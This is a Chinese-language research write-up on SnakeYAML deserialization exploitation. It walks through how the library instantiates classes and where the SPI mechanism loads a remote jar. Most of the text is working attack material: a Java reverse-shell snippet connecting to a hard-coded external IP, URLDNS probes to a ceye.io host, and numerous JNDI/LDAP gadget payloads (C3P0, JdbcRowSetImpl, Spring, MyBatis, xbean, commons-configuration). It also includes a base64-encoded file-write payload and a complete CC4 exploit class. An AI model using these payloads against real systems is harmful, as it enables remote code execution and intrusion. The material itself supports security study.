String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
我们根据urldns链可以知道key会进行hashCode方法的调用,之后进行urldns的解析
SnakeYaml在进行map的处理的时候将会对key进行hashCode处理,所以我们尝试map的格式
HashMap hashMap = new HashMap(); hashMap.put("a", "a"); hashMap.put("b", "b"); System.out.println(yaml.dump(hashMap)); // {a: a, b: b}
所以我们就可以按照这种使用{ }
包裹的形式构造map,然后将指定的URL置于key位置
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
在前面加上需要探测的类,在反序列化的过程中如果没有报错,说明反序列化成功了的,进而存在该类
这里创建对象的时候使用的是{}
这种代表的是无参构造,所以需要存在有无参构造函数,不然需要使用[]
进行复制构造
public static final String PREFIX = "tag:yaml.org,2002:"; public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml"); public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge"); public static final Tag SET = new Tag("tag:yaml.org,2002:set"); public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs"); public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap"); public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary"); public static final Tag INT = new Tag("tag:yaml.org,2002:int"); public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float"); public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp"); public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool"); public static final Tag NULL = new Tag("tag:yaml.org,2002:null"); public static final Tag STR = new Tag("tag:yaml.org,2002:str"); public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq"); public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
使用 ! <>
结合的方法
使用这个需要使得反序列化的类有一个单参构造器
//test !<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://tcbua9.ceye.io/"]]]] //"{!<tag:yaml.org,2002:str> dataSourceName: ldap://120.53.29.60:1389/skgw2z, !<tag:yaml.org,2002:bool> autoCommit: true}"
使用%TAG ! tag.yaml.org,2002
提前声明
要求也是需要有有参构造器;不过这里可以传入[]进行参数的赋值;所以无论几个参数都是可以的
//test %TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://tcbua9.ceye.io/"]]]]
SnakeYAML反序列化
YAML是”YAML Ain’t a Markup Language”;它并不是一种标记语言,而是用来表示序列化的一种格式
他是JAVA用于解析YAML格式的库
它使用new Yaml()
对象进行序列化和反序列化
按照Y4的说法,当不存在某个属性,或者存在属性但是不是由public修饰的时候会调用set方法
做出测试验证:
public class User { private String name; public String passwd; Integer age; public User() { System.out.println("构造方法。。。。。"); } public void setName(String name) { System.out.println("setName..........."); this.name = name; } public void setPasswd(String passwd) { System.out.println("setPasswd.........."); this.passwd = passwd; } public void setAge(Integer age) { System.out.println("setAge............"); this.age = age; } public void setTest(String test) { System.out.println("setTest.........."); } }
其中passwd
属性为public
修饰,且存在一个不存在属性的setter方法
import org.yaml.snakeyaml.Yaml; import java.io.FileNotFoundException; public class Test { public static void main(String[] args) throws FileNotFoundException { Yaml yaml = new Yaml(); yaml.load("!!study.snakeyaml.User {name: abc, passwd: bn, age: 870, test: 89}"); } }
在Yaml.load
方法中,首先会创建一个StreamReader
对象,将yaml.load中的值传入,之后将这个对象传入loadFromReader
中
接着调用了getSingleData
方法,且此时的type
是一个Object类型,也可以知道这个yaml是一个类
之后跟进getSingleData
方法,首先通过了之前创建的Composer
对象创建了一个结点,如果结点为空,就证明没有内容,返回null值,如果不为空但是type不为Object类型,就会通过setTag
方法将传入的type
强添入结点,如果为Object类型,就跳过,之后调用了constructDocument
方法
跟进,首先判断了constructedObjects
recursiveObjects
里面是否有了node结点, 这里不存在,之后将结点添加进入了recursiveObjects
,之后通过getConstructor
得到node结点的constructor
, 进而调用construct
方法得到对象
在construct
方法中,通过调用constructJavaBean2ndStep
返回对象
我们跟进createEmptyJavaBean
方法,通过反射得到了类的构造函数之后通过newInstance
进行实例化
接着回到了construct
方法中,之后跟进constructJavaBean2ndStep
方法,之后再PropertyUtils.getPropertiesMap
中存在是否是isPublic
的判断, 如果是public修饰,调用org.yaml.snakeyaml.introspector.FieldProperty#get,这个只是反射获取值
主要是通过!!
指定反序列化的类,并且在反序列化该类的同时会实例化,之后通过URLClassLoader
LDAP
RMI
等方式远程加载字节码,进行执行恶意代码
服务提供发现机制
SPI
就是为相关接口实现动态实现类的机制,如果需要使用它需要在ClassPath
下的META-INF/services/
目录中创建一个以服务接口命名的文件,文件里面的内容是这个接口的具体实现类的全限定类名
例子:
在src
目录下创建了META-INF/services/exploit/javax.script.ScriptEngineFactory
写入了exploit.AwesomeScriptEngineFactory
创建了exploit/AwesomeScriptEngineFactory.java
实现了ScriptEngineFactory
接口的类
之后编译和打包
javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
添加Socket反弹shell
//利用socket反弹shell String host = "120.24.207.121"; int port = 8080; String cmd = "/bin/sh"; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); java.net.Socket s = new java.net.Scoket(host, port); java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) { so.write(pi.read()); } while(pe.available()>0) { so.write(pe.read()); } while(si.available()>0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close();
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]
成功执行Payload
将payload.jar
放入lib
下,之后在javax.script.ScriptEngineManager
下的构造方法处打下断点
可以发现loader是我们payload中的URLClassLoader
// 实例化ScriptEngineManager的调用链 <init>:75, ScriptEngineManager (javax.script) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) construct:572, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor) construct:346, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:450, Yaml (org.yaml.snakeyaml) load:369, Yaml (org.yaml.snakeyaml)
之后跟进ScriptEngineManager
在构造方法中调用了init
方法,在init方法中都是一些变量的初始化,跟进initEngines
方法
这里的ServiceLoader
就是使用的SPI
机制,这里的泛型是javax.script.ScriptEngineFactory
, 也能够说明为什么我们的payload.jar中的services/javax.script.ScriptEngineFactory
之后ServiceLoader
需要寻找的服务是javax.script.ScriptEngineFactory
,通过URLClassLoader
寻找服务,对应的URL为payload中的地址
之后会调用ServiceLoader#iterator
方法进而调用next
,之后调用了ServiceLoader$LazyIterator#next
方法,进而调用了nextService
方法
通过反射加载了NashornScriptEngineFactory
类,之后通过newInstance
实例化
在之后的迭代过程中也会加载payload中的类并实例化
WrapperConnectionPoolDataSource
MarshalOutputStream写文件 + ScriptEngineManager file协议加载本地jar
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: "ldap://127.0.0.1:8888/EvilObject", loginTimeout: "0"}
分析:
这里主要是使用的C3P0
链中的JndiRefForwardingDataSource
类
其中的setLoginTimeout
调用了inner
方法,然而在inner
方法中也调用了dereference
方法
在该方法中存在jndi注入(如果jndi可控)
而在他的父类中存在对应的setter
方法,形成了利用链
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.yaml.snakeyaml.Yaml; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Snakeyaml_CC4 { public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static PriorityQueue CommonsCollections4() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass ctClass = pool.makeClass("c3p0Exploit"); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ctClass.makeClassInitializer().insertBefore(shell); byte[] shellCode = ctClass.toBytecode(); byte[][] targetCode = new byte[][]{shellCode}; TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_name", "xxx"); setFieldValue(templatesImpl, "_bytecodes", targetCode); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue, transformingComparator); return priorityQueue; } public static byte[] toByteArray(InputStream in) throws Exception { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } public static void main(String[] args) throws Exception { PriorityQueue queue = CommonsCollections4(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(queue); outputStream.close(); byte[] bytes = byteArrayOutputStream.toByteArray(); //byte[] bytes = toByteArray(inputStream); String hexString = bytesToHexString(bytes, bytes.length); //String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}"; String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap: " + hexString + "\"}"; System.out.println(poc); Yaml yaml = new Yaml(); yaml.load(poc); } }
这是一条不出网的二次反序列化 SnakeYaml + CC4链
分析:
c3p0在监听userOverridesAsString
属性值的时候会调用C3P0ImplUtils.parseUserOverridesAsString
处理新的属性值,截取了HexAsciiSerializedMap
后的第二个字符到倒数第二个字符的hex串,之后通过调用fromHexAscii
方法将hex转化为序列化字节,再通过调用了SerializableUtils.fromByteArray
方法处理序列化字节,调用了deserializeFromByteArray
进行反序列化,如果这里是一个恶意的字节码,就会进行恶意触发漏洞
通过在他的父类中同样有对应的setter
方法,就可以结合其他反序列化链子进行利用链的构造
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "ldap://127.0.0.1:8888/EvilObject", autoCommit: "true"}
这个链子主要是通过setAutoCommit
方法中调用connect
方法进而导致lookup
的参数可控形成了jndi注入
!!oracle.jdbc.rowset.OracleJDBCRowSet {dataSourceName: "ldap://localhost:9999/Evil", command: "a"}
这个链子主要是通过OracleJDBCRowSet
类中的setCommand
方法中存在调用getConnection
方法,且lookup的参数可控形成利用链
!!org.apache.ibatis.datasource.jndi.JndiDataSourceFactory {properties: {data_source: "ldap://127.0.0.1:9999/Evil"}}
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) set:48, MethodProperty (org.yaml.snakeyaml.introspector) constructJavaBean2ndStep:311, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:190, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:346, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:450, Yaml (org.yaml.snakeyaml) load:369, Yaml (org.yaml.snakeyaml)
主要是通过JndiDataSourceFactory
的setProperties
方法的lookup
可控
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:9999/Evil", propertyPath: "xxx", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:1099/Exploit"]}}
这个payload主要是通过在PropertyPathFactoryBean
类中将会触发setBeanFacotry
调用beanFactory.setBean
在其中存在一个可控的lookup
方法,但是其中有一个判断if (isSingleton(name))
, 我们需要设置shareableResources
绕过
需要依赖
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.5</version> </dependency>
!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference ["foo", "Evil", "http://127.0.0.1/"],!!org.apache.xbean.naming.context.WritableContext []]]
这个利用链,在BadAttributeValueExpException
类的构造方法中
如果传入的参数是org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
类对象,将会调用他的toString
方法,虽然这个静态类没有toString
方法,但是他的父类为Binding
存在,在其中调用了ReadOnlyBinding#getObject
方法,进而调用了ReadOnlyBinding#resolve
, 在其中存在NamingManager.getObjectInstance
,这个就是jndi利用链的一部分
跟进,在NamingManager#getObjectInstance
调用了getObjectFactoryFromReference
方法,跟进
首先使用当前的ClassLoader
加载类,如果没有加载到,就通过获取codebase
得到ClassLocation,之后通过loadClass获取恶意类,值得注意的是,在loadClass
方法中将会判断是否开启trustURLCodebase
,当然尽管他为flase
,我们也可以通过寻找ObjectFactory
绕过限制,后面的过程就很明白了
当然还有各种各样的和fastjson链结合的payload
<dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>
!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]: 1
调用栈
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration) getKeys:203, JNDIConfiguration (org.apache.commons.configuration) getKeys:182, JNDIConfiguration (org.apache.commons.configuration) <init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration) <init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration) iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration) hashCode:528, AbstractMap (java.util) constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor) constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor) constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor) construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor) constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:450, Yaml (org.yaml.snakeyaml) load:369, Yaml (org.yaml.snakeyaml)
在constructMapping2ndStep
调用AbstractMap#hashCode
方法,之后调用了JNDIConfiguration#getKeys
在getBaseContext
存在可控的lookup